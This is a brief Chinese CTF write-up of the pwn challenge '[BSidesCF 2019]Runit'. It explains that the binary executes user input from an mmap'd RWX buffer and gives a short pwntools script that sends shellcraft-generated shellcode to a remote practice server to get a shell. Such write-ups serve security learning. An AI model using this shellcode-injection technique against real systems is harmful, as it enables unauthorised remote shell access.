本文介绍了一次安全分析的过程，通过使用IDA查看32位程序的主函数，发现buf通过mmap映射为可读写执行内存，并直接执行shellcode。利用pwn库发送shellcode到远程服务器获取shell。shellcraft模块被用来生成汇编代码。
[BSidesCF 2019]Runit
例行检查 ，32位，开启NX保护
运行一下。
IDA打开，查看主函数。
buf用mmap映射了地址，可读可写可执行，直接传入shellcode，15行调用了buf，运行shellcode获取shell。
from pwn import *
p=remote("node3.buuoj.cn",26059)
context.arch="i386"
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
asm(shellcraft.sh())
asm()函数接收一个字符串作为参数，得到汇编码的机器代码
shellcraft模块是shellcode的模块，包含一些生成shellcode的函数。
flag:
812
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
